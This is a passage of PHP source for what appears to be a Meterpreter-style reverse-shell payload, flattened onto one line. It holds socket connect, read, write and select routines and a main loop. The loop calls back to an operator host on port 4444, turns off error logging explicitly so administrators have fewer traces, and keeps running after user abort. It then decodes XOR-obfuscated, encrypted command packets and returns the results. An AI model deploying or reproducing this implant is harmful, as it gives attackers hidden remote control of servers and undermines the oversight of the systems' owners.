Keep track of the un-bracketed address for the functions that don't like # brackets, specifically socket_connect and socket_sendto. $ipf = WIN_AF_INET; $raw_ip = $ipaddr; if (FALSE !== strpos($ipaddr, ":")) { $ipf = WIN_AF_INET6; $ipaddr = "[". $raw_ip ."]"; } # Prefer the stream versions so we don't have to use both select functions # unnecessarily, but fall back to socket_create if they aren't available. if (is_callable('stream_socket_client')) { my_print("stream_socket_client({$proto}://{$ipaddr}:{$port})"); if ($proto == 'ssl') { $sock = stream_socket_client("ssl://{$ipaddr}:{$port}", $errno, $errstr, 5, STREAM_CLIENT_ASYNC_CONNECT); if (!$sock) { return false; } stream_set_blocking($sock, 0); register_stream($sock); } elseif ($proto == 'tcp') { $sock = stream_socket_client("tcp://{$ipaddr}:{$port}"); if (!$sock) { return false; } register_stream($sock); } elseif ($proto == 'udp') { $sock = stream_socket_client("udp://{$ipaddr}:{$port}"); if (!$sock) { return false; } register_stream($sock, $ipaddr, $port); } } else if (is_callable('fsockopen')) { my_print("fsockopen"); if ($proto == 'ssl') { $sock = fsockopen("ssl://{$ipaddr}:{$port}"); stream_set_blocking($sock, 0); register_stream($sock); } elseif ($proto == 'tcp') { $sock = fsockopen($ipaddr, $port); if (!$sock) { return false; } if (is_callable('socket_set_timeout')) { socket_set_timeout($sock, 2); } register_stream($sock); } else { $sock = fsockopen($proto."://".$ipaddr,$port); if (!$sock) { return false; } register_stream($sock, $ipaddr, $port); } } else if (is_callable('socket_create')) { my_print("socket_create"); if ($proto == 'tcp') { $sock = socket_create($ipf, SOCK_STREAM, SOL_TCP); $res = socket_connect($sock, $raw_ip, $port); if (!$res) { return false; } register_socket($sock); } elseif ($proto == 'udp') { $sock = socket_create($ipf, SOCK_DGRAM, SOL_UDP); register_socket($sock, $raw_ip, $port); } } return $sock; } function eof($resource) { $ret = false; switch (get_rtype($resource)) { # XXX Doesn't work with sockets. case 'socket': break; case 'stream': # We set the socket timeout for streams opened with fsockopen() when # they are created. I hope this is enough to deal with hangs when # calling feof() on socket streams, but who knows. This is PHP, # anything could happen. Some day they'll probably add a new function # called stream_eof() and it will handle sockets properly except for # some edge case that happens for every socket except the one or two # they tested it on and it will always return false on windows and # later they'll rename it to real_stream_eof_this_language_isretarded(). # # See http://us2.php.net/manual/en/function.feof.php , specifically this: # If a connection opened by fsockopen() wasn't closed by the server, # feof() will hang. To workaround this, see below example: # Use of stream_select() on file descriptors returned by proc_open() # will fail and return FALSE under Windows. $r = Array($resource); my_print("Calling select to see if there's data on $resource"); $last_requested_len = 0; while (true) { $w=NULL;$e=NULL;$t=0; $cnt = stream_select($r, $w, $e, $t); # Stream is not ready to read, have to live with what we've gotten # so far if ($cnt === 0) { break; } # if stream_select returned false, something is wrong with the # socket or the syscall was interrupted or something. if ($cnt === false or feof($resource)) { my_print("Checking for failed read..."); if (empty($buff)) { my_print("---- EOF ON $resource ----"); $buff = false; } break; } $md = stream_get_meta_data($resource); dump_array($md, "Metadata for {$resource}"); if ($md['unread_bytes'] > 0) { $last_requested_len = min($len, $md['unread_bytes']); $buff .= fread($resource, $last_requested_len); break; } else { $tmp = fread($resource, $len); $last_requested_len = $len; $buff .= $tmp; if (strlen($tmp) < $len) { break; } } if ($resource != $msgsock) { my_print("buff: '$buff'"); } $r = Array($resource); } my_print(sprintf("Done with the big read loop on $resource, got %d bytes, asked for %d bytes", strlen($buff), $last_requested_len)); break; default: # then this is possibly a closed channel resource, see if we have any # data from previous reads $cid = get_channel_id_from_resource($resource); $c = get_channel_by_id($cid); if ($c and $c['data']) { $buff = substr($c['data'], 0, $len); $c['data'] = substr($c['data'], $len); my_print("Aha! got some leftovers"); } else { my_print("Wtf don't know how to read from resource $resource, c: $c"); if (is_array($c)) { dump_array($c); } break; } } my_print(sprintf("Read %d bytes", strlen($buff))); return $buff; } function write($resource, $buff, $len=0) { global $udp_host_map; if ($len == 0) { $len = strlen($buff); } #my_print(sprintf("Writing $len bytes to $resource which is a %s", get_rtype($resource))); $count = false; switch (get_rtype($resource)) { case 'socket': if (array_key_exists((int)$resource, $udp_host_map)) { my_print("Writing UDP socket"); list($host,$port) = $udp_host_map[(int)$resource]; $count = socket_sendto($resource, $buff, $len, $host, $port); } else { $count = socket_write($resource, $buff, $len); } break; case 'stream': $count = fwrite($resource, $buff, $len); fflush($resource); break; default: my_print("Wtf don't know how to write to resource $resource"); break; } return $count; } function get_rtype($resource) { global $resource_type_map; if (array_key_exists((int)$resource, $resource_type_map)) { return $resource_type_map[(int)$resource]; } return false; } function select(&$r, &$w, &$e, $tv_sec=0, $tv_usec=0) { $streams_r = array(); $streams_w = array(); $streams_e = array(); $sockets_r = array(); $sockets_w = array(); $sockets_e = array(); if ($r) { foreach ($r as $resource) { switch (get_rtype($resource)) { case 'socket': $sockets_r[] = $resource; break; case 'stream': $streams_r[] = $resource; break; default: my_print("Unknown resource type"); break; } } } if ($w) { foreach ($w as $resource) { switch (get_rtype($resource)) { case 'socket': $sockets_w[] = $resource; break; case 'stream': $streams_w[] = $resource; break; default: my_print("Unknown resource type"); break; } } } if ($e) { foreach ($e as $resource) { switch (get_rtype($resource)) { case 'socket': $sockets_e[] = $resource; break; case 'stream': $streams_e[] = $resource; break; default: my_print("Unknown resource type"); break; } } } $n_sockets = count($sockets_r) + count($sockets_w) + count($sockets_e); $n_streams = count($streams_r) + count($streams_w) + count($streams_e); #my_print("Selecting $n_sockets sockets and $n_streams streams with timeout $tv_sec.$tv_usec"); $r = array(); $w = array(); $e = array(); # Workaround for some versions of PHP that throw an error and bail out if # select is given an empty array if (count($sockets_r)==0) { $sockets_r = null; } if (count($sockets_w)==0) { $sockets_w = null; } if (count($sockets_e)==0) { $sockets_e = null; } if (count($streams_r)==0) { $streams_r = null; } if (count($streams_w)==0) { $streams_w = null; } if (count($streams_e)==0) { $streams_e = null; } $count = 0; if ($n_sockets > 0) { $res = socket_select($sockets_r, $sockets_w, $sockets_e, $tv_sec, $tv_usec); if (false === $res) { return false; } if (is_array($r) && is_array($sockets_r)) { $r = array_merge($r, $sockets_r); } if (is_array($w) && is_array($sockets_w)) { $w = array_merge($w, $sockets_w); } if (is_array($e) && is_array($sockets_e)) { $e = array_merge($e, $sockets_e); } $count += $res; } if ($n_streams > 0) { $res = stream_select($streams_r, $streams_w, $streams_e, $tv_sec, $tv_usec); if (false === $res) { return false; } if (is_array($r) && is_array($streams_r)) { $r = array_merge($r, $streams_r); } if (is_array($w) && is_array($streams_w)) { $w = array_merge($w, $streams_w); } if (is_array($e) && is_array($streams_e)) { $e = array_merge($e, $streams_e); } $count += $res; } #my_print(sprintf("total: $count, Modified counts: r=%s w=%s e=%s", count($r), count($w), count($e))); return $count; } function add_reader($resource) { global $readers; if (is_resource($resource) && !in_array($resource, $readers)) { $readers[] = $resource; } } function remove_reader($resource) { global $readers; #my_print("Removing reader: $resource"); #dump_readers(); if (in_array($resource, $readers)) { foreach ($readers as $key => $r) { if ($r == $resource) { unset($readers[$key]); } } } } ## # Main stuff ## ob_implicit_flush(); # Turn off error reporting so we don't leave any ugly logs. Why make an # administrator's job easier if we don't have to? =) if (MY_DEBUGGING) { error_reporting(E_ALL); } else { error_reporting(0); } @ignore_user_abort(true); # Has no effect in safe mode, but try anyway @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); # Add the payload UUID to globals, and use that from now on so that we can # update it as required. $GLOBALS['UUID'] = PAYLOAD_UUID; $GLOBALS['SESSION_GUID'] = SESSION_GUID; $GLOBALS['AES_KEY'] = null; $GLOBALS['AES_ENABLED'] = false; # If we don't have a socket we're standalone, setup the connection here. # Otherwise, this is a staged payload, don't bother connecting if (!isset($GLOBALS['msgsock'])) { # The payload handler overwrites this with the correct LHOST before sending # it to the victim. $ipaddr = '127.0.0.1'; $port = 4444; my_print("Don't have a msgsock, trying to connect($ipaddr, $port)"); $msgsock = connect($ipaddr, $port); if (!$msgsock) { die(); } } else { # The ABI for PHP stagers is a socket in $msgsock and it's type (socket or # stream) in $msgsock_type $msgsock = $GLOBALS['msgsock']; $msgsock_type = $GLOBALS['msgsock_type']; switch ($msgsock_type) { case 'socket': register_socket($msgsock); break; case 'stream': # fall through default: register_stream($msgsock); } } add_reader($msgsock); # # Main dispatch loop # $r=$GLOBALS['readers']; $w=NULL;$e=NULL;$t=1; while (false !== ($cnt = select($r, $w, $e, $t))) { #my_print(sprintf("Returned from select with %s readers", count($r))); $read_failed = false; for ($i = 0; $i < $cnt; $i++) { $ready = $r[$i]; if ($ready == $msgsock) { $packet = read($msgsock, 32); my_print(sprintf("Read returned %s bytes", strlen($packet))); if (false==$packet) { my_print("Read failed on main socket, bailing"); # We failed on the main socket. There's no way to continue, so # break all the way out. break 2; } $xor = substr($packet, 0, 4); $header = xor_bytes($xor, substr($packet, 4, 28)); $len_array = unpack("Nlen", substr($header, 20, 4)); # length of the packet should be the packet header size # minus 8 for the tlv length + the required data length $len = $len_array['len'] + 32 - 8; # packet type should always be 0, i.e. PACKET_TYPE_REQUEST while (strlen($packet) < $len) { $packet .= read($msgsock, $len-strlen($packet)); } $response = create_response(decrypt_packet(xor_bytes($xor, $packet))); write_tlv_to_socket($msgsock, $response); } else { #my_print("not Msgsock: $ready"); $data = read($ready); if (false === $data) { handle_dead_resource_channel($ready); } elseif (strlen($data) > 0){ my_print(sprintf("Read returned %s bytes", strlen($data))); $request = handle_resource_read_channel($ready, $data); if ($request) { write_tlv_to_socket($msgsock, $request); } } } } # $r is modified by select, so reset it $r = $GLOBALS['readers']; } # end main loop my_print("Finished"); my_print("--------------------"); close($msgsock);